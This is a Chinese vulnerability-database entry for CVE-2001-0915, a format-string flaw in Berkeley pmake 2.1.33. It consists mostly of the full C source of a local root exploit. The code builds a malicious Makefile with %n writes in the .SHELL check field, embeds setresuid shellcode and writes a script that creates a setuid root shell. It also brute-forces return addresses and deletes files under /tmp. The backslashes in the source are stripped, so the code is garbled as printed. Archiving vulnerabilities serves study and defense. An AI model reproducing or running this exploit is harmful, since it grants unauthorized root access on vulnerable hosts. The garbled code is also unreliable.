Berkeley Parallel Make Shell 定义格式化字符串漏洞

Berkeley Parallel Make Shell 定义格式化字符串漏洞

漏洞ID 1106521 漏洞类型 格式化字符串
发布时间 2001-11-21 更新时间 2005-10-20
图片[1]-Berkeley Parallel Make Shell 定义格式化字符串漏洞-安全小百科CVE编号 CVE-2001-0915
图片[2]-Berkeley Parallel Make Shell 定义格式化字符串漏洞-安全小百科CNNVD-ID CNNVD-200111-029
漏洞平台 Linux CVSS评分 7.2
|漏洞来源
https://www.exploit-db.com/exploits/21158
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200111-029
|漏洞详情
Berkeleyparallelmake(pmake)2.1.33版本存在格式化字符串漏洞。本地用户可以借助shell定义的check参数的格式化分类符提升根目录特权。
|漏洞EXP
source: http://www.securityfocus.com/bid/3572/info

Parallel Make (pmake) is a freely available version of the make program, originally distributed with Berkeley Unix. It is designed to execute Makefiles and build programs.

pmake is not typically setuid root, although some Linux distributions default to installing it this way. When a Makefile is executed by pmake, certain user-defined variables can be set in the Makefile by the user. One such variable is the shell definition variable, or .SHELL. By supplying a format string in the check= field of the .SHELL variable, it is possible to write to an arbitrary memory address of the program. This could result in the overwriting of the return address, and execution of arbitrary code with root privileges. 

/****************************************************************
*																*
*		Pmake <= 2.1.33 local root exploit						*
*		coded by IhaQueR@IRCnet									*
*		compile with gcc -pmexpl-c -o pm						*
*		meet me at HAL '2001									*
*																*
****************************************************************/





#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <string.h>
#include <signal.h>
#include <stdlib.h>



//	some definitions
#define TARGET "/usr/bin/pmake"
#define MKFILE "Makefile"
#define MKMSH "./mkmsh"
#define TMPLEN 256
#define USERSTACK 0xc0000000u
#define NN "E[m"
#define GR "E[32m"
#define RD "E[31m"
#define BL "E[34m"
#define BD "E[1m"
#define FL "E[5m"
#define UL "E[4m"


extern char **environ;

static const char *banner = "n"
							BL"*****************************************n"
							"*ttttt*n"
							"*tpmake local root exploitt*n"
							"*tby "FL"IhaQueR@IRCnet"NN BL" '2001tt*n"
							"*ttttt*n"
							"*****************************************n"
							"n"NN;

static const char *usage =	"n"
							UL"USAGE:"NN " %st-w <wlen delta, try -32,...,32>n"
							"tt-s <shell addr>n"
							"tt-a <ret addr  0xbfff73c0 for orig SuSE 7.1 and pmake
2.1.33>n"
							"tt-m <attempts>n"
							"tt-p <%%g preload>n"
							"n";

static const char *mkfile = "all:nt-echo blahnn.SHELL : path=/bin/sh
echo="" quiet="" hasErrCtl=no check=";

//	setresuid(0,0,0) shellcode
static char hellcode[]= "x31xc0x31xdbx31xc9x31xd2"
						"xb0xa4xcdx80"
						"xebx24x5ex8dx1ex89x5ex0bx33xd2x89x56x07x89x56x0f"
						"xb8x1bx56x34x12x35x10x56x34x12x8dx4ex0bx8bxd1xcd"
						"x80x33xc0x40xcdx80xe8xd7xffxffxff./mkmsh";

//	our suid shell maker
static char mkmsh[] =	"#!/bin/bashn"
						"cat <<__DUPA__>sush.cn"
						"#include <stdio.h>n"
						"#include <unistd.h>n"
						"main() {setuid(geteuid()); execl("/bin/bash", "/bin/bash",
NULL);}n"
						"__DUPA__n"
						"gcc sush.c -o sush >/dev/null 2>&1n"
						"chown 0.0 sushn"
						"chmod u+s sushn";

static char *fromenv[] = {	"TERM",
							"HOME",
							"PATH"
						};

#define numenv (sizeof(fromenv)/sizeof(char*)+2)

static char *myenv[numenv];
static char eb[numenv][TMPLEN];

int cn=0;


void child_kill(int v)
{
		cn--;
}


int do_fork()
{
		cn++;
		return fork();
}


int main(int ac, char** av)
{
int pd[2], fd, mk, i, j, res, pid, cnt, flip, mx, wdel;
unsigned *up, pad, wlen, shadr, wadr, len1, old, idx, gprel;
unsigned char *ptr;
char buf[16384];
char buf2[16384];
char aaaa[1024*32];
char head[64];
struct stat sb;
fd_set rs;


//	setup defaults
//	shell address is calculated from user stack location and the big nop
buffer...should work :-/
		shadr = USERSTACK - sizeof(aaaa)/2;
		wadr = 0xbfff73b0;
		mx = 512;
		gprel=150;
		wdel=0;

		setpgrp();
		setsid();

		printf(banner);

//	parse options
		if(ac!=1) {
			res = getopt(ac, av, "hw:s:a:m:p:");
			while(res!=-1) {
				switch(res) {
				case 'w' :
					wdel = atoi(optarg);
					break;

				case 's' :
					sscanf(optarg, "%x", &shadr);
					break;

				case 'a' :
					sscanf(optarg, "%x", &wadr);
					break;

				case 'm' :
					sscanf(optarg, "%d", &mx);
					break;

				case 'p' :
					sscanf(optarg, "%d", &gprel);
					if(gprel==0)
						gprel=1;
					break;

				case 'h' :
				default :
					printf(usage, av[0]);
					exit(0);
					break;
				}
				res = getopt(ac, av, "hw:s:a:m:p:");
			}
		}


//	phase 1 : setup
		printf("nn"BD BL"* PHASE 1n"NN);

//	prepare environ
		printf("ntpreparing new environment");
		memset(aaaa, 'A', sizeof(aaaa));
		aaaa[4]='=';
		up=(unsigned*)(aaaa+5);
		for(i=0; i<sizeof(aaaa)/sizeof(int)-2; i++)
			up[i]=0x41424344;
		aaaa[sizeof(aaaa)-1]=0;
		len1=strlen(aaaa);

//	buffer overflow :-)
		myenv[0]=aaaa;
		for(i=1; i<numenv-1; i++) {
			myenv[i]=eb[i-1];
			strcpy(eb[i-1], fromenv[i-1]);
			if(!strchr(fromenv[i-1], '=')) {
				strcat(eb[i-1], "=");
				strcat(eb[i-1], getenv(fromenv[i-1]));
			}
		}
		myenv[numenv-1]=NULL;

//	clean
		printf("ntcleaning");
		unlink("LOCK.make");
		unlink("sush");
		unlink("sush.c");
		unlink("mkmsh");
		system("rm -rf /tmp/make* >/dev/null 2>&1");

//	our suid shell
		printf("ntpreparing shell script");
		mk = open(MKMSH, O_WRONLY|O_CREAT|O_TRUNC, S_IRWXU|S_IXGRP|S_IXOTH);
		if(mk<0)
			perror("open"), exit(1);
		write(mk, mkmsh, strlen(mkmsh));
		close(mk);

//	comm pipe
		printf("ntallocating pipe");
		res = pipe(pd);
		if(res<0)
			perror("pipe"), exit(2);

//	redirect stdin/out
		printf("ntstdout/in preparation");
		res = dup2(pd[1], 2);
		if(res<0)
			perror("dup2"), exit(3);

		fd = open("/dev/null", O_RDWR);
		if(fd<0)
			perror("open"), exit(4);

//	our makefile
		printf("ntgenerating Makefile");
		mk = open(MKFILE, O_WRONLY|O_CREAT|O_TRUNC, S_IRWXU);
		if(mk<0)
			perror("open"), exit(5);
		write(mk, mkfile, strlen(mkfile));
		for(i=0; i<gprel; i++)
			write(mk, "%g", 2);
		fsync(mk);

//	child killer
		printf("ntfinished setup");
		if(signal(SIGCHLD, &child_kill)==SIG_ERR)
			perror("signal"), exit(6);


//	phase 2 : dig format string
		printf("nnn" BD BL "* PHASE 2n"NN);
		printf("ntdigging magic string:t");

		cnt=0;
		while(1) {

			lseek(mk, -2, SEEK_CUR);
			write(mk, "%g%x", 4);
			fsync(mk);
			usleep(1);

			pid = do_fork();

//	get child output
			if(pid) {
				printf("%4d ", cnt);
				fflush(stdout);

				do {
					bzero(buf, sizeof(buf));
					res = read(pd[0], buf, sizeof(buf)-1);
					if(res > 128) {
						break;
					}
				} while(1);
				kill(SIGTERM, pid);
				usleep(1);
				waitpid(pid, NULL, WUNTRACED);
				bzero(buf2, sizeof(buf2));
				read(pd[0], buf2, sizeof(buf2)-1);
				if(waitpid(pid, NULL, WUNTRACED|WNOHANG)>0)
					read(pd[0], buf2, sizeof(buf2)-1);

//	look for padding
				pad=-1;
				if(strstr(buf, "41424344")) {
					pad=0;
				}
				else if(strstr(buf, "42434441")) {
					pad=1;
				}
				else if(strstr(buf, "43444142")) {
					pad=2;
				}
				else if(strstr(buf, "44414243")) {
					pad=3;
				}

//	if got the mark parse output for final string
				if(pad!=-1) {
					printf("ntfound mark, parsing output");
					ptr = strtok(buf, "tn ");
					while(ptr) {
						if(strlen(ptr)>64)
							break;
						ptr = strtok(NULL, "tn ");
					}

//	calculate write length -6, -8 hm I'm dunno about the 16?
					wlen=strlen(ptr)+wdel-16;
					printf("ntFOUND magic string with pading=%d  output length=%d",
pad, wlen);


//	PHASE 3 : find write pos in aaaa
					printf("nnn" BD BL "* PHASE 3n"NN);

					printf("ntlooking for write position: ");

					up=(unsigned*)(aaaa+5-pad);
					cnt=0;

					for(i=1; i<sizeof(aaaa)/sizeof(int)-1; i++) {
						old=up[i];
						up[i]=0xabcdef67;
						printf("%4d ", i);
						sprintf(head, "%x", up[i]);
						fflush(stdout);

						if(cn)
							read(pd[0], buf2, sizeof(buf2)-1);
						pid = do_fork();
						if(pid) {
							do {
								bzero(buf, sizeof(buf));
								FD_ZERO(&rs);
								FD_SET(pd[0], &rs);
								select(pd[0]+1, &rs, NULL, NULL, NULL);
								res = read(pd[0], buf, sizeof(buf)-1);
								if(res > 128) {
									break;
								}
							} while(1);
							kill(SIGTERM, pid);
							usleep(1);
							read(pd[0], buf2, sizeof(buf2)-1);

//	up[i] is now the place for the beginning of our address field
							if(strstr(buf, head)) {
								printf(" * FOUND *");
								fflush(stdout);
								up[i]=old;
								idx=i;
								printf("ntFOUND write position at index=%d", i);
								up[i]=old;
								ptr = strtok(buf, "tn ");
								while(ptr) {
									if(strlen(ptr)>64)
										break;
									ptr = strtok(NULL, "tn ");
								}

//	construct write 'head':
								printf("ntcreating final makefile");
								fflush(stdout);
								lseek(mk, -2, SEEK_CUR);

								ptr = (unsigned char*)&shadr;
								for(j=0; j<4; j++) {
									flip = (((int)256) + ((int)ptr[j])) - ((int)(wlen % 256u));
									wlen = wlen + flip;
									sprintf(head+j*8, "%%%04dx%%n", flip);
								}
								head[32] = 0;
								write(mk, head, strlen(head));

//	brute force RET on the stack upon success
								printf("ntcreating shell in the environment");

//	create env shell
								ptr = (unsigned char*)&(up[i+2*10]);
								while(ptr<(unsigned char*)(aaaa+sizeof(aaaa)-4)) {
									*ptr=0x90;
									ptr++;
								}

								strncpy(aaaa+sizeof(aaaa)-strlen(hellcode)-1, hellcode,
strlen(hellcode));
								aaaa[sizeof(aaaa)-1]=0;
								if(len1!=strlen(aaaa)) {
									printf(BD RD"nERROR: len changed!n"NN);
									exit(7);
								}

//	phase 4: brute force
								printf("nnn"BD BL"* PHASE 4n"NN);
								printf("ntbrute force RET:t");
								fflush(stdout);
								cnt=0;

								while(cnt<mx) {

									for(j=0; j<4; j++) {
										up[idx+2*j] = wadr + j%4;
										up[idx+2*j+1] = wadr + j%4;
									}

									pid = do_fork();
									if(pid) {
										printf(" 0x%.8x", wadr);
										fflush(stdout);
										waitpid(pid, NULL, WUNTRACED);
										res = stat("sush", &sb);
										if(!res && sb.st_uid==0) {
											printf(BD GR"nnParadox, created suid shell at
%s/sushnn"NN, getcwd(buf, sizeof(buf)-1));
											system("rm -rf /tmp/make* >/dev/null 2>&1");
											exit(0);
										}
									}
									else {
										res = dup2(fd, 1);
										if(res<0)
											perror("dup2"), exit(8);
										res = dup2(fd, 2);
										if(res<0)
											perror("dup2"), exit(9);

										execle(TARGET, TARGET, "-X", "-dj", NULL, myenv);
										_exit(10);
									}
									if(cnt%8==7)
										printf("ntttt");
									cnt++;
									wadr += 4;
								}
//	failure
								printf(BD RD"nFAILED :-("NN);
								system("rm -rf /tmp/make* >/dev/null 2>&1");
								exit(11);
							}
						}
						else {
							res = dup2(fd, 1);
							if(res<0)
								perror("dup2"), exit(12);
							execle(TARGET, TARGET, "-X", "-dj", NULL, myenv);
							exit(13);
						}
						up[i]=old;
						waitpid(pid, NULL, WUNTRACED);
					}

					printf(BD RD"ntstrange error, write pos not found!n"NN);
					system("rm -rf /tmp/make* >/dev/null 2>&1");
					exit(14);

					ptr = strtok(buf, "n");
					while(ptr) {
						printf("nLINE [%s]", ptr);
						ptr = strtok(NULL, "n");
					}

					exit(15);
				}

//	start target and read output
			}
			else {
				res = dup2(fd, 1);
				if(res<0)
					perror("dup2"), exit(16);
				execle(TARGET, TARGET, "-X", "-dj", NULL, myenv);
				exit(17);
			}

			if(cnt%8==7)
				printf("ntttt");
			cnt++;
		}

		printf(BD RD"nFAILEDn"NN);
		system("rm -rf /tmp/make* >/dev/null 2>&1");

return 0;
}
|参考资料

来源:BUGTRAQ
名称:20011121Advisory:Berkeleypmake
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=100638919720975&w;=2
来源:BID
名称:3572
链接:http://www.securityfocus.com/bid/3572
来源:XF
名称:pmake-shell-format-string(7602)
链接:http://www.iss.net/security_center/static/7602.php

相关推荐: All Enthusiast PhotoPost PHP Pro Member.PHP SQL Injection Vulnerability

All Enthusiast PhotoPost PHP Pro Member.PHP SQL Injection Vulnerability 漏洞ID 1096678 漏洞类型 Input Validation Error 发布时间 2005-05-13 更…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享